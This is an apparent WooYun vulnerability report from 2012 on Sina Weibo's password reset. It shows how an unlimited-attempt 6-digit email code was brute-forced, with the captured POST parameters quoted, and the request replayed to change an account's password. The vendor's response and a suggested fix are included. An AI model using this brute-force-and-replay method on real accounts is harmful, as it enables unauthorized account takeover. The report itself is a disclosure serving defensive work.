漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:新浪微搏修改任意用户密码
相关厂商:新浪
提交时间:2012-07-10 23:46
修复时间:2012-07-11 12:08
公开时间:2012-07-11 12:08
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2012-07-10: 细节已通知厂商并且等待厂商处理中 2012-07-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述: 和最近爆的几个修改任意用户密码的漏洞有些点相似.知道帐号就能修改密码.
详细说明: 弱伪随机数引起的问题.下面附上详细过程. 使用新浪微搏帐号的密码找回功能
首先选择安全邮箱找回密码
跳转到此页面.6位数字.000000-999999范围.如果没有尝试次数的限制,破解是很容易的.我们继续向下看.
从邮箱查看到真实的验证码为746486 然后我们回到密码找回页面输入正确的验证码来尝试修改密码.
loginname=5447055%40qq.com&uid=2393972150×tamp=1341933068&ag=&m=f06f8b141fea148217d15f3939b0cac1&_email=5447055%40qq.com&confirm=746486
在提交的时候抓到上面的包文内容
因为有密码强度的限制.于是我把密码修改为asdasd123
抓到如下内容
loginname=5447055%40qq.com&uid=2393972150×tamp=1341933068&ag=&m=f06f8b141fea148217d15f3939b0cac1&_confirm=746486&m2=edcf24f53e86e9c23f82e28458ba647e&password=b381431d2daf7c7d0f11e496510abef6405e491fabc26bc87e144dc5f52f6e24b40a8dfde7fc7e42e4261483d87f31dcc85bd704aff45f29c0c7bc122beaadcb2aead81e621f36070e50d1607d91457b8f2065079920cb7bf18acaebdfbda09c2985fc08a9129591654c997dab97fde294dba9f8160d50889e544233d25f41bf&cpassword=248798cfcafceb43041a883ebdd515ceb90622b01c2b4ed03979c1aa97d516a1c6de42fa970c60c7962f9336bb03e5cbd32632d03f47623326178374b8216df76578f9c88d12ee7239ce2bcd43ba965f26def411b69c90a43c8e7428829e0d674d58d1a9a786b2e904ac854e46677563f20d236423ff483ce0486e0ad6fe9bea
对比了一下.找到相同的参数如下 loginname uid timestamp ag m confirm 剩余的参数我猜想应该是我修改的新密码. 也就是说.我只要有以上参数就可以修改密码了. 上述参数中,除confirm外都是已知的,也就是说只有那个6位随机数需要我们去破解.就可以修改密码了.我来做一个这样的尝试.
聪明的同学们看懂了么? 图中马赛克部分为我的cookies
在长达10几分钟的破解时间后.通过使用回包大小的排序, 我看到得到了上图中所示的这个随机码. 668707,然后看这个验证码的回包中有如下关键词.
<ul class="W_f14 W_fb topic_list clearfix"> <li>设置新密码</li> </ul> <div class="form_table"> <dl class="clearfix"> <dt>新密码:</dt> <dd class="conbox"> <input type="password" class="W_inputStp width1" name="password" node-type="password" />
也就是说找到了正确的验证码.但这个时候找回密码的页面已经超时了. 我们在回包中找找上文中我们所需要的几个参数,找到如下内容
<div class="form_cloud_con"><form name="setpassword" id="setpassword" action="" method="post"> <input type="hidden" name="loginname" value="5447055@qq.com" /> <input type="hidden" name="uid" value="2393972150" /> <input type="hidden" name="timestamp" value="1341934162" /> <input type="hidden" name="ag" value="" /> <input type="hidden" name="m" value="9fb40f6ce6c6d0449674b9ca2211eb13" /> <input type="hidden" name="_confirm" value="668707" /> <input type="hidden" name="m2" value="57bf4004860b27ee006c611fc7a4ac63" /> <dl><dd class="space_b">
然后下面大家都知道了.构造上文中那个修改密码的包.修改密码就好了.... 结束.
漏洞证明: 修复方案: 不要使用这类弱伪随机数做为找回密码的凭证,也不要不限制尝试次数.
漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2012-07-11 12:08
厂商回复: 感谢only_guest反馈的该问题,要利用该问题,需在获知用户个人信息的前提下,通过暴力破解来实现。实际危害较轻微。新浪一直以来都在全力保护用户安全,暴力破解的问题,目前已经解决,请各位用户放心。 故对该问题进行”忽略“(公开)处理。请only_guest将联系方式发送给我们,我们将提供一份礼品表示感谢。感谢各位对新浪安全的支持!
漏洞Rank:18 (WooYun评价)
最新状态: 暂无